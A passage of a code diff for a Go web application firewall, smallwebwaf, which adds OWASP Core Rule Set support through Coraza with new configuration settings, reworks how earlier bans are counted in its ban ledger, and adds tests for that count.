@@ -3,6 +3,8 @@ module sneak.berlin/go/smallwebwaf
 go 1.26.0
 
 require (
+	github.com/corazawaf/coraza-coreruleset/v4 v4.25.0
+	github.com/corazawaf/coraza/v3 v3.8.1
 	github.com/fsnotify/fsnotify v1.10.1
 	github.com/hashicorp/golang-lru/v2 v2.0.7
 	github.com/maxmind/mmdbwriter v1.2.0
@@ -13,12 +15,29 @@ require (
 require (
 	github.com/beorn7/perks v1.0.1 // indirect
 	github.com/cespare/xxhash/v2 v2.3.0 // indirect
+	github.com/corazawaf/libinjection-go v0.3.3 // indirect
+	github.com/goccy/go-json v0.10.5 // indirect
+	github.com/goccy/go-yaml v1.19.2 // indirect
+	github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 // indirect
+	github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 // indirect
+	github.com/kaptinlin/go-i18n v0.1.4 // indirect
+	github.com/kaptinlin/jsonschema v0.4.6 // indirect
 	github.com/kylelemons/godebug v1.1.0 // indirect
+	github.com/magefile/mage v1.17.0 // indirect
 	github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 // indirect
+	github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 // indirect
 	github.com/prometheus/client_model v0.6.2 // indirect
 	github.com/prometheus/common v0.70.1 // indirect
 	github.com/prometheus/procfs v0.21.1 // indirect
+	github.com/tidwall/gjson v1.18.0 // indirect
+	github.com/tidwall/match v1.1.1 // indirect
+	github.com/tidwall/pretty v1.2.1 // indirect
+	github.com/valllabh/ocsf-schema-golang v1.0.3 // indirect
 	go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
+	golang.org/x/net v0.58.0 // indirect
+	golang.org/x/sync v0.23.0 // indirect
 	golang.org/x/sys v0.48.0 // indirect
+	golang.org/x/text v0.41.0 // indirect
 	google.golang.org/protobuf v1.36.11 // indirect
+	rsc.io/binaryregexp v0.2.0 // indirect
 )

go.sum

@@ -2,22 +2,54 @@ github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM=
 github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw=
 github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs=
 github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs=
+github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc h1:OlJhrgI3I+FLUCTI3JJW8MoqyM78WbqJjecqMnqG+wc=
+github.com/corazawaf/coraza-coreruleset v0.0.0-20240226094324-415b1017abdc/go.mod h1:7rsocqNDkTCira5T0M7buoKR2ehh7YZiPkzxRuAgvVU=
+github.com/corazawaf/coraza-coreruleset/v4 v4.25.0 h1:tqFO1lfVpTiyWtlN618OXpZMfw+nnN0Q4///W5W+/HM=
+github.com/corazawaf/coraza-coreruleset/v4 v4.25.0/go.mod h1:nRuGXITxOPvsLF2VxaTB7pYok8QB8BitX3ZenXcUryY=
+github.com/corazawaf/coraza/v3 v3.8.1 h1:dMV55FbMR2vOks/acrT43RShR+VkzU6jwp+XPdxay8o=
+github.com/corazawaf/coraza/v3 v3.8.1/go.mod h1:nPVk2JqADYBcKLYvo9cRsr+z4JhanU0WniGhZZBZD6c=
+github.com/corazawaf/libinjection-go v0.3.3 h1:NhbXKRfRpqKzBMzv8zpCcnjyEw7BCVhBOv9IPuBl7Fc=
+github.com/corazawaf/libinjection-go v0.3.3/go.mod h1:Ik/+w3UmTWH9yn366RgS9D95K3y7Atb5m/H/gXzzPCk=
+github.com/foxcpp/go-mockdns v1.2.0 h1:omK3OrHRD1IWJz1FuFBCFquhXslXoF17OvBS6JPzZF0=
+github.com/foxcpp/go-mockdns v1.2.0/go.mod h1:IhLeSFGed3mJIAXPH2aiRQB+kqz7oqu8ld2qVbOu7Wk=
 github.com/fsnotify/fsnotify v1.10.1 h1:b0/UzAf9yR5rhf3RPm9gf3ehBPpf0oZKIjtpKrx59Ho=
 github.com/fsnotify/fsnotify v1.10.1/go.mod h1:TLheqan6HD6GBK6PrDWyDPBaEV8LspOxvPSjC+bVfgo=
+github.com/goccy/go-json v0.10.5 h1:Fq85nIqj+gXn/S5ahsiTlK3TmC85qgirsdTP/+DeaC4=
+github.com/goccy/go-json v0.10.5/go.mod h1:oq7eo15ShAhp70Anwd5lgX2pLfOS3QCiwU/PULtXL6M=
+github.com/goccy/go-yaml v1.19.2 h1:PmFC1S6h8ljIz6gMRBopkjP1TVT7xuwrButHID66PoM=
+github.com/goccy/go-yaml v1.19.2/go.mod h1:XBurs7gK8ATbW4ZPGKgcbrY1Br56PdM69F7LkFRi1kA=
 github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8=
 github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU=
+github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976 h1:b70jEaX2iaJSPZULSUxKtm73LBfsCrMsIlYCUgNGSIs=
+github.com/gotnospirit/makeplural v0.0.0-20180622080156-a5f48d94d976/go.mod h1:ZGQeOwybjD8lkCjIyJfqR5LD2wMVHJ31d6GdPxoTsWY=
+github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092 h1:c7gcNWTSr1gtLp6PyYi3wzvFCEcHJ4YRobDgqmIgf7Q=
+github.com/gotnospirit/messageformat v0.0.0-20221001023931-dfe49f1eb092/go.mod h1:ZZAN4fkkful3l1lpJwF8JbW41ZiG9TwJ2ZlqzQovBNU=
 github.com/hashicorp/golang-lru/v2 v2.0.7 h1:a+bsQ5rvGLjzHuww6tVxozPZFVghXaHOwFs4luLUK2k=
 github.com/hashicorp/golang-lru/v2 v2.0.7/go.mod h1:QeFd9opnmA6QUJc5vARoKUSoFhyfM2/ZepoAG6RGpeM=
+github.com/jcchavezs/mergefs v0.1.1 h1:D45R17m6dHnSVZefnhynoeZvcK2Uw0oTrRfoUOQ0S5Y=
+github.com/jcchavezs/mergefs v0.1.1/go.mod h1:eRLTrsA+vFwQZ48hj8p8gki/5v9C2bFtHH5Mnn4bcGk=
+github.com/kaptinlin/go-i18n v0.1.4 h1:wCiwAn1LOcvymvWIVAM4m5dUAMiHunTdEubLDk4hTGs=
+github.com/kaptinlin/go-i18n v0.1.4/go.mod h1:g1fn1GvTgT4CiLE8/fFE1hboHWJ6erivrDpiDtCcFKg=
+github.com/kaptinlin/jsonschema v0.4.6 h1:vOSFg5tjmfkOdKg+D6Oo4fVOM/pActWu/ntkPsI1T64=
+github.com/kaptinlin/jsonschema v0.4.6/go.mod h1:1DUd7r5SdyB2ZnMtyB7uLv64dE3zTFTiYytDCd+AEL0=
 github.com/klauspost/compress v1.19.1 h1:VsB4HPswih7mmZ8WleSFQ75c/Ui1M4trX5oAsJnhSlk=
 github.com/klauspost/compress v1.19.1/go.mod h1:cwPg85FWrGar70rWktvGQj8/hthj3wpl0PGDogxkrSQ=
 github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc=
 github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw=
+github.com/magefile/mage v1.17.0 h1:dS4tkq997Ism03akafC8509iqDjeE7TNTexI25Y7sXM=
+github.com/magefile/mage v1.17.0/go.mod h1:Yj51kqllmsgFpvvSzgrZPK9WtluG3kUhFaBUVLo4feA=
 github.com/maxmind/mmdbwriter v1.2.0 h1:hyvDopImmgvle3aR8AaddxXnT0iQH2KWJX3vNfkwzYM=
 github.com/maxmind/mmdbwriter v1.2.0/go.mod h1:EQmKHhk2y9DRVvyNxwCLKC5FrkXZLx4snc5OlLY5XLE=
+github.com/miekg/dns v1.1.57 h1:Jzi7ApEIzwEPLHWRcafCN9LZSBbqQpxjt/wpgvg7wcM=
+github.com/miekg/dns v1.1.57/go.mod h1:uqRjCRUuEAA6qsOiJvDd+CFo/vW+y5WR6SNmHE55hZk=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA=
 github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ=
 github.com/oschwald/maxminddb-golang/v2 v2.7.0 h1:ZcAr3GYc2LYC8aec2mCMX9+QOF0EolH3jDFKRV/Z1+U=
 github.com/oschwald/maxminddb-golang/v2 v2.7.0/go.mod h1:DuKJLbbug6TXC0yJXgs1MWifvXHmudRWzMobMIUu04g=
+github.com/pelletier/go-toml/v2 v2.2.4 h1:mye9XuhQ6gvn5h28+VilKrrPoQVanw5PMw/TB0t5Ec4=
+github.com/pelletier/go-toml/v2 v2.2.4/go.mod h1:2gIqNv+qfxSVS7cM2xJQKtLSTLUE9V8t9Stt+h56mCY=
+github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745 h1:Vpr4VgAizEgEZsaMohpw6JYDP+i9Of9dmdY4ufNP6HI=
+github.com/petar-dambovaliev/aho-corasick v0.0.0-20250424160509-463d218d4745/go.mod h1:EHPiTAKtiFmrMldLUNswFwfZ2eJIYBHktdaUTZxYWRw=
 github.com/prometheus/client_golang v1.24.1 h1:JnJkREXzWxUdCuPFpIWZiPispT9xVV59uiuyR2bPlnU=
 github.com/prometheus/client_golang v1.24.1/go.mod h1:F+oSRECHg4sse5ucfYpYDeIv/hu68Zo0uoHKetWnzcE=
 github.com/prometheus/client_model v0.6.2 h1:oBsgwpGs7iVziMvrGhE53c/GrLUsZdHnqNwqPLxwZyk=
@@ -28,6 +60,15 @@ github.com/prometheus/procfs v0.21.1 h1:GljZCt+zSTS+NZq88cyQ1LjZ+RCHp3uVuabBWA5+
 github.com/prometheus/procfs v0.21.1/go.mod h1:aB55Cww9pdSJVHk0hUf0inxWyyjPogFIjmHKYgMKmtY=
 github.com/stretchr/testify v1.12.1 h1:EuwCh5fleGS7H32xRwO3wRGT7DxrDhLAT6FF8MpWDWE=
 github.com/stretchr/testify v1.12.1/go.mod h1:MDEgiDPPsNp5cuIrHPPCyornHKgEVbtFUmoNlxoYthg=
+github.com/tidwall/gjson v1.18.0 h1:FIDeeyB800efLX89e5a8Y0BNH+LOngJyGrIWxG2FKQY=
+github.com/tidwall/gjson v1.18.0/go.mod h1:/wbyibRr2FHMks5tjHJ5F8dMZh3AcwJEMf5vlfC0lxk=
+github.com/tidwall/match v1.1.1 h1:+Ho715JplO36QYgwN9PGYNhgZvoUSc9X2c80KVTi+GA=
+github.com/tidwall/match v1.1.1/go.mod h1:eRSPERbgtNPcGhD8UCthc6PmLEQXEWd3PRB5JTxsfmM=
+github.com/tidwall/pretty v1.2.0/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/tidwall/pretty v1.2.1 h1:qjsOFOWWQl+N3RsoF5/ssm1pHmJJwhjlSbZ51I6wMl4=
+github.com/tidwall/pretty v1.2.1/go.mod h1:ITEVvHYasfjBbM0u2Pg8T2nJnzm8xPwvNhhsoaGGjNU=
+github.com/valllabh/ocsf-schema-golang v1.0.3 h1:eR8k/3jP/OOqB8LRCtdJ4U+vlgd/gk5y3KMXoodrsrw=
+github.com/valllabh/ocsf-schema-golang v1.0.3/go.mod h1:sZ3as9xqm1SSK5feFWIR2CuGeGRhsM7TR1MbpBctzPk=
 go.uber.org/goleak v1.3.0 h1:2K3zAYmnTNqV73imy9J1T3WC+gmCePx2hEGkimedGto=
 go.uber.org/goleak v1.3.0/go.mod h1:CoHD4mav9JJNrW/WLlf7HGZPjdw8EucARQHekz1X6bE=
 go.yaml.in/yaml/v2 v2.4.4 h1:tuyd0P+2Ont/d6e2rl3be67goVK4R6deVxCUX5vyPaQ=
@@ -36,7 +77,21 @@ go.yaml.in/yaml/v3 v3.0.5 h1:N6y/pJk8buWs9NY5ERU2HSMfm+IuD/OtfdAnq6kESPw=
 go.yaml.in/yaml/v3 v3.0.5/go.mod h1:HVTZu1O7/Vkt2N+BFy8Zza+lnLsABggaTM2ZpNIGuKg=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba h1:0b9z3AuHCjxk0x/opv64kcgZLBseWJUpBw5I82+2U4M=
 go4.org/netipx v0.0.0-20231129151722-fdeea329fbba/go.mod h1:PLyyIXexvUFg3Owu6p/WfdlivPbZJsZdgWZlrGope/Y=
+golang.org/x/mod v0.41.0 h1:qJmnOUb4YB+FsEuM3HcWucdZASCPGhsX6uljO6pog0c=
+golang.org/x/mod v0.41.0/go.mod h1:Ek9pY8RKWXwsWvd3rQiHYtMqkjSUV+s1Rj7j4H5Ur6o=
+golang.org/x/net v0.58.0 h1:ynWG7rqYi4ccpTEuPZ2QGWHktVEM9DMCj9yzDE0Q7To=
+golang.org/x/net v0.58.0/go.mod h1:YwCddHnFlT7eLQqVprV19OnhLGtc5xOKgE0RyqgfWAU=
+golang.org/x/sync v0.23.0 h1:KameEIfc1IkluZyXWLn39Wd4tURc6GbCiISGiZm2bQk=
+golang.org/x/sync v0.23.0/go.mod h1:sUUOizhqBxiL6pEWpqNLUiaJn1ShEbZ6BBqskPbjZm0=
 golang.org/x/sys v0.48.0 h1:bbX/i/6MgT9BVLM9RT1thmxL04yeTAhbEz4SyadbXoo=
 golang.org/x/sys v0.48.0/go.mod h1:hNLxWAXmnKAxqDtdwIYC4bM9oQPEecfsnNMuSxOs3og=
+golang.org/x/text v0.41.0 h1:vz/seA0lnX87Othu2f/0L24RcgrXD9/YFTSuGjj3rH8=
+golang.org/x/text v0.41.0/go.mod h1:jvf1O8ajNzZqhSrQBPbutR/EB83Cc0CFrezNQIwbb5M=
+golang.org/x/tools v0.50.0 h1:c2ifzfcuY7L90lZ2aKd8S4K2NpASF08SZx9ZuJkHmSU=
+golang.org/x/tools v0.50.0/go.mod h1:7ulVMw3831Mwi5EZD6RomGyffr4VFjuNYXf2BbCEAV0=
 google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE=
 google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco=
+gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
+gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+rsc.io/binaryregexp v0.2.0 h1:HfqmD5MEmC0zvwBuF187nq9mdnXjXsSivRiXN7SmRkE=
+rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8=

internal/alerts/alerts.go

@@ -44,7 +44,9 @@ const (
 	// EventAnomaly is a count of requests or bytes over an anomaly
 	// threshold.
 	EventAnomaly = "anomaly"
-	// EventWAFBlock comes with the Core Rule Set; nothing raises it yet.
+	// EventWAFBlock is a request the Core Rule Set scored at or over
+	// SWWAF_WAF_ANOMALY_THRESHOLD, refused in block mode, let through in
+	// detect mode.
 	EventWAFBlock = "waf_block"
 	// EventReputationHit is a request whose client a blocklist, the
 	// CrowdSec decision list or a DNSBL zone lists, or whose AbuseIPDB score

internal/bans/admin_test.go

@@ -61,6 +61,59 @@ func TestAdminsBansAreNeverDroppedAndDoNotCountTowardMaxBans(t *testing.T) {
 	wantBans(t, ledger, map[netip.Prefix]int{adminsOnly: 2, both: 1, second: 0, third: 1})
 }
 
+func TestEarlierBansCountABanDroppedAfterAnAdminsBan(t *testing.T) {
+	t.Parallel()
+
+	rules := defaultRules()
+	rules.MaxBans = 2
+	ledger := bans.New(rules)
+	netblock := netip.MustParsePrefix("203.0.113.1/32")
+	other := netip.MustParsePrefix("203.0.113.2/32")
+
+	// An admin bans the netblock for a minute, and it then breaks a limit
+	// twice, each time after its last ban has ended.
+	ledger.BanForAdmin(netblock, midnight(), midnight().Add(time.Minute),
+		"probes for logins")
+	first, _ := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	// A ban on another netblock fills the ledger, and the netblock's first
+	// ban for a limit, its earliest that is not an admin's, goes.
+	ledger.BanForLimit(other, second.Start, bans.Notes{})
+	wantBans(t, ledger, map[netip.Prefix]int{netblock: 2, other: 1})
+
+	// The netblock's next ban still counts it.
+	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
+	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 2, Admin: 1}) {
+		t.Errorf("the third ban for a limit has earlier bans %+v, "+
+			"want 2 for a limit and 1 an admin's", third.Notes.EarlierBans)
+	}
+}
+
+func TestEarlierBansCountABanAnAdminKeepsOnce(t *testing.T) {
+	t.Parallel()
+
+	ledger := bans.New(defaultRules())
+	netblock := netip.MustParsePrefix("203.0.113.1/32")
+
+	// The netblock breaks a limit twice, the second time after its first
+	// ban has ended, and the second ban's notes count the first. An admin
+	// then keeps the first ban.
+	first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{})
+	second, _ := ledger.BanForLimit(netblock, first.Expires, bans.Notes{})
+
+	kept := first
+	kept.Cause = bans.CauseAdmin
+	ledger.LoadEdit([]bans.Ban{kept, second})
+
+	// The netblock's next ban counts the kept ban once, as an admin's.
+	third, _ := ledger.BanForLimit(netblock, second.Expires, bans.Notes{})
+	if third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Admin: 1}) {
+		t.Errorf("the third ban for a limit has earlier bans %+v, "+
+			"want 1 for a limit and 1 an admin's", third.Notes.EarlierBans)
+	}
+}
+
 func TestReasonOfTheBansSmallwebwafMakes(t *testing.T) {
 	t.Parallel()
 

internal/bans/bans.go

@@ -123,7 +123,8 @@ type Notes struct {
 	LimitPercentSetting string `json:"limit_percent_setting,omitempty"`
 	// RuleID and Target are, for a ban for a clear sign of attack, the id
 	// of the rule file rule that matched, and its target; TrapPath is, for
-	// one for a request for a path in SWWAF_TRAP_PATHS, that path.
+	// one for a request for a path in SWWAF_TRAP_PATHS, that path as the
+	// client sent it.
 	RuleID   string `json:"rule_id,omitempty"`
 	Target   string `json:"target,omitempty"`
 	TrapPath string `json:"trap_path,omitempty"`
@@ -686,26 +687,51 @@ func (l *Ledger) ban(
 }
 
 // earlierBans returns how many bans a netblock with the bans held, oldest
-// first, has had, by cause: the first ban held counts the bans the
-// netblock had before that one, since dropped to make room, and each ban
-// held adds one.
+// first, has had, by cause. Each ban held gives a count: the bans its
+// notes count before it, and one for it and each ban held after it. A
+// ban's count misses a ban dropped after it to make room, and that of an
+// admin's ban added to bans.json without notes misses the bans before it,
+// so the count that names the most bans is taken, whole: a ban an admin
+// keeps by giving it CauseAdmin is still counted under its old cause in
+// later bans' notes, and taking each cause from another count would count
+// it twice.
 func earlierBans(held []Ban) EarlierBans {
-	earlier := held[0].Notes.EarlierBans
+	// fromHere counts ban and the bans held after it.
+	var most, fromHere EarlierBans
 
-	for _, ban := range held {
+	for _, ban := range slices.Backward(held) {
 		switch ban.Cause {
 		case CauseLimit:
-			earlier.Limit++
+			fromHere.Limit++
 		case CauseAttack:
-			earlier.Attack++
+			fromHere.Attack++
 		case CauseAdmin:
-			earlier.Admin++
+			fromHere.Admin++
 		case CauseCrowdSec:
-			earlier.CrowdSec++
+			fromHere.CrowdSec++
+		}
+
+		notes := ban.Notes.EarlierBans
+		count := EarlierBans{
+			Limit:    notes.Limit + fromHere.Limit,
+			Attack:   notes.Attack + fromHere.Attack,
+			Admin:    notes.Admin + fromHere.Admin,
+			CrowdSec: notes.CrowdSec + fromHere.CrowdSec,
+		}
+
+		// Of counts that name as many bans, the earlier ban's is taken: it
+		// counts more of the bans held by the cause they have now.
+		if count.total() >= most.total() {
+			most = count
 		}
 	}
 
-	return earlier
+	return most
+}
+
+// total returns how many bans e counts, of all causes.
+func (e EarlierBans) total() int {
+	return e.Limit + e.Attack + e.Admin + e.CrowdSec
 }
 
 // markChanged has Changed receive a value, unless one is waiting already.

internal/config/config.go

@@ -42,8 +42,8 @@ type Config struct {
 	InstanceName string
 	// Observe is true in observe mode, when SWWAF_MODE is observe rather
 	// than enforce: a request that SWWAF_DENY_NETS, a ban, the country
-	// lists, a rate limit or a rule would refuse is passed to the app
-	// instead, and no ban is made.
+	// lists, a rate limit, a rule or the Core Rule Set would refuse is
+	// passed to the app instead, and no ban is made.
 	Observe bool
 	// TrustedProxies are the netblocks whose X-Forwarded-For is
 	// believed (SWWAF_TRUSTED_PROXIES).
@@ -239,12 +239,27 @@ type Config struct {
 	// unless RulesEnabled is false (SWWAF_RULES_ENABLED).
 	RulesDir     string
 	RulesEnabled bool
+	// WAFMode is what the Core Rule Set does (SWWAF_WAF_MODE): WAFModeOff,
+	// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
+	// level, from 1 to 4 (SWWAF_WAF_PARANOIA_LEVEL), and
+	// WAFAnomalyThreshold the anomaly score at which a request is a match
+	// (SWWAF_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
+	// are the ids of its rules switched off (SWWAF_WAF_DISABLED_RULES),
+	// WAFExemptPaths the path prefixes it does not inspect
+	// (SWWAF_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
+	// it reads (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
+	WAFMode             string
+	WAFParanoiaLevel    int
+	WAFAnomalyThreshold int
+	WAFDisabledRules    []int
+	WAFExemptPaths      []string
+	WAFBodyLimit        int64
 	// TrapPaths are the paths a request for which is a clear sign of
 	// attack (SWWAF_TRAP_PATHS), each starting with / and without a ?.
 	TrapPaths []string
 	// ErrorBurstThreshold is the most requests of a client within a minute
-	// that smallwebwaf may refuse after a rule file match or for a missing
-	// or wrong token; one more breaks a limit
+	// that smallwebwaf may refuse after a rule file or Core Rule Set match
+	// or for a missing or wrong token; one more breaks a limit
 	// (SWWAF_ERROR_BURST_THRESHOLD). 0 is off.
 	ErrorBurstThreshold int64
 	// LogRemoteURL is where every line on stdout is also sent
@@ -310,6 +325,16 @@ type Config struct {
 // off.
 const off = "off"
 
+// The values of SWWAF_WAF_MODE.
+const (
+	// WAFModeOff runs no request through the Core Rule Set.
+	WAFModeOff = off
+	// WAFModeDetect logs and alerts a match, and refuses nothing.
+	WAFModeDetect = "detect"
+	// WAFModeBlock refuses a match with 403.
+	WAFModeBlock = "block"
+)
+
 // fileSource is the SWWAF_LOOKUP_SOURCE that looks clients up in the
 // lookup database, the file SWWAF_LOOKUP_DB_PATH names.
 const fileSource = "file"
@@ -327,6 +352,14 @@ const (
 	minIPv6GroupPrefix = 32
 	// minTokenLength is the fewest characters a token may have.
 	minTokenLength = 32
+	// maxParanoiaLevel is the Core Rule Set's highest paranoia level.
+	maxParanoiaLevel = 4
+	// firstSetupRuleID to lastSetupRuleID are the ids the Core Rule Set
+	// keeps for the rules that set it up, which smallwebwaf's own rules
+	// have too (see internal/waf). Switching one off would undo a change
+	// that no setting undoes.
+	firstSetupRuleID = 900000
+	lastSetupRuleID  = 900999
 	// masked is what the log shows for a token that is set, and in place of
 	// a secret in another setting.
 	masked = "********"
@@ -365,6 +398,7 @@ var (
 	errNeedsDBPath          = errors.New("it names the file to look clients up in")
 	errDBPathUnused         = errors.New("only file reads it")
 	errNotOver4K            = errors.New("is not a size of more than 4K, such as 32K")
+	errOver1G               = errors.New("is more than 1G, the most Coraza reads")
 	errNotDurationAboveZero = errors.New(
 		"is not a duration above zero, such as 1h or 7d")
 	errNotNumberAboveZero = errors.New(
@@ -388,6 +422,13 @@ var (
 		"is not a path prefix starting with /, such as /assets/")
 	errNotTrapPath = errors.New(
 		"is not a path starting with / and without a ?, such as /wp-login.php")
+	errNotWAFMode       = errors.New("is not off, detect or block")
+	errNotParanoiaLevel = errors.New("is not a paranoia level, from 1 to 4")
+	errNotRuleID        = errors.New(
+		"is not the id of a Core Rule Set rule, a whole number such as 942100")
+	errSetupRuleID = errors.New(
+		"is from 900000 to 900999, the ids of the rules that set the Core Rule Set " +
+			"up and of smallwebwaf's own, which cannot be switched off")
 	errNotBoolean      = errors.New("is not true or false")
 	errNotLogRemoteURL = errors.New(
 		"is not syslog+udp, syslog+tcp or syslog+tls with a host and a port, " +
@@ -509,12 +550,19 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) {
 		StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"),
 		LogRequestHeaders: env.headerNames("SWWAF_LOG_REQUEST_HEADERS",
 			"accept,accept-language,accept-encoding,content-type,origin,range"),
-		LogLevel:             env.logLevel("SWWAF_LOG_LEVEL", "info"),
-		AdminToken:           env.token("SWWAF_ADMIN_TOKEN"),
-		MetricsToken:         env.token("SWWAF_METRICS_TOKEN"),
-		MetricsTopN:          env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
-		RulesDir:             env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
-		RulesEnabled:         env.boolean("SWWAF_RULES_ENABLED", "true"),
+		LogLevel:            env.logLevel("SWWAF_LOG_LEVEL", "info"),
+		AdminToken:          env.token("SWWAF_ADMIN_TOKEN"),
+		MetricsToken:        env.token("SWWAF_METRICS_TOKEN"),
+		MetricsTopN:         env.numberNotOff("SWWAF_METRICS_TOP_N", "50"),
+		RulesDir:            env.value("SWWAF_RULES_DIR", "/etc/smallwebwaf/rules.d"),
+		RulesEnabled:        env.boolean("SWWAF_RULES_ENABLED", "true"),
+		WAFMode:             env.wafMode("SWWAF_WAF_MODE", WAFModeBlock),
+		WAFParanoiaLevel:    env.paranoiaLevel("SWWAF_WAF_PARANOIA_LEVEL", "1"),
+		WAFAnomalyThreshold: env.numberOrOff("SWWAF_WAF_ANOMALY_THRESHOLD", "5"),
+		WAFDisabledRules: env.ruleIDs("SWWAF_WAF_DISABLED_RULES",
+			"920340,920420,920440,920640,930130,930140"),
+		WAFExemptPaths:       env.pathPrefixes("SWWAF_WAF_EXEMPT_PATHS", ""),
+		WAFBodyLimit:         env.wafBodyLimit("SWWAF_WAF_BODY_LIMIT", off),
 		TrapPaths:            env.trapPaths("SWWAF_TRAP_PATHS"),
 		ErrorBurstThreshold:  env.count("SWWAF_ERROR_BURST_THRESHOLD", "30"),
 		LogRemoteURL:         env.logRemoteURL("SWWAF_LOG_REMOTE_URL"),
@@ -720,6 +768,15 @@ func (e *environment) size(name, defaultValue string) int64 {
 	return size
 }
 
+// wafBodyLimit reads the setting that is the most of a request body the
+// Core Rule Set reads.
+func (e *environment) wafBodyLimit(name, defaultValue string) int64 {
+	limit, err := parseWAFBodyLimit(e.value(name, defaultValue))
+	e.check(name, err)
+
+	return limit
+}
+
 // headerSize reads the setting that is the largest request line and
 // headers.
 func (e *environment) headerSize(name, defaultValue string) int64 {
@@ -765,6 +822,39 @@ func (e *environment) trapPaths(name string) []string {
 	return paths
 }
 
+// wafMode reads the setting that is what the Core Rule Set does: off,
+// detect or block.
+func (e *environment) wafMode(name, defaultValue string) string {
+	mode := e.value(name, defaultValue)
+	if mode != WAFModeOff && mode != WAFModeDetect && mode != WAFModeBlock {
+		e.check(name, fmt.Errorf("%q %w", mode, errNotWAFMode))
+	}
+
+	return mode
+}
+
+// paranoiaLevel reads the setting that is the Core Rule Set's paranoia
+// level, from 1 to 4.
+func (e *environment) paranoiaLevel(name, defaultValue string) int {
+	value := e.value(name, defaultValue)
+
+	level, err := strconv.Atoi(value)
+	if err != nil || level < 1 || level > maxParanoiaLevel {
+		e.check(name, fmt.Errorf("%q %w", value, errNotParanoiaLevel))
+	}
+
+	return level
+}
+
+// ruleIDs reads the setting that is a list of the ids of Core Rule Set
+// rules.
+func (e *environment) ruleIDs(name, defaultValue string) []int {
+	ids, err := parseRuleIDs(e.value(name, defaultValue))
+	e.check(name, err)
+
+	return ids
+}
+
 // countries reads a setting that is a list of countries.
 func (e *environment) countries(name, defaultValue string) []string {
 	countries, err := parseCountries(e.value(name, defaultValue))
@@ -1355,6 +1445,22 @@ func parseHeaderSize(value string) (int64, error) {
 	return size, nil
 }
 
+// parseWAFBodyLimit reads the most of a request body the Core Rule Set
+// reads: a size as parseSize reads it, or off, but at most 1G, since
+// Coraza, which runs the Core Rule Set, refuses to load with more.
+func parseWAFBodyLimit(value string) (int64, error) {
+	limit, err := parseSize(value)
+	if err != nil {
+		return 0, err
+	}
+
+	if limit > gibibyte {
+		return 0, fmt.Errorf("%q %w", value, errOver1G)
+	}
+
+	return limit, nil
+}
+
 // splitUnit splits a size into its number and the bytes its suffix
 // stands for.
 func splitUnit(value string) (string, int64) {
@@ -1559,7 +1665,8 @@ func parsePathPrefixes(value string) ([]string, error) {
 
 // parseTrapPaths reads a comma-separated list of trap paths. Each is
 // matched against a request's path as a path rule is, without the query,
-// so a path that does not start with / or holds a ? would never match.
+// so a path that does not start with / would never match, and one that
+// holds a ? is written with a query.
 func parseTrapPaths(value string) ([]string, error) {
 	paths, err := parseList(value)
 	if err != nil {
@@ -1575,6 +1682,31 @@ func parseTrapPaths(value string) ([]string, error) {
 	return paths, nil
 }
 
+// parseRuleIDs reads a comma-separated list of the ids of Core Rule Set
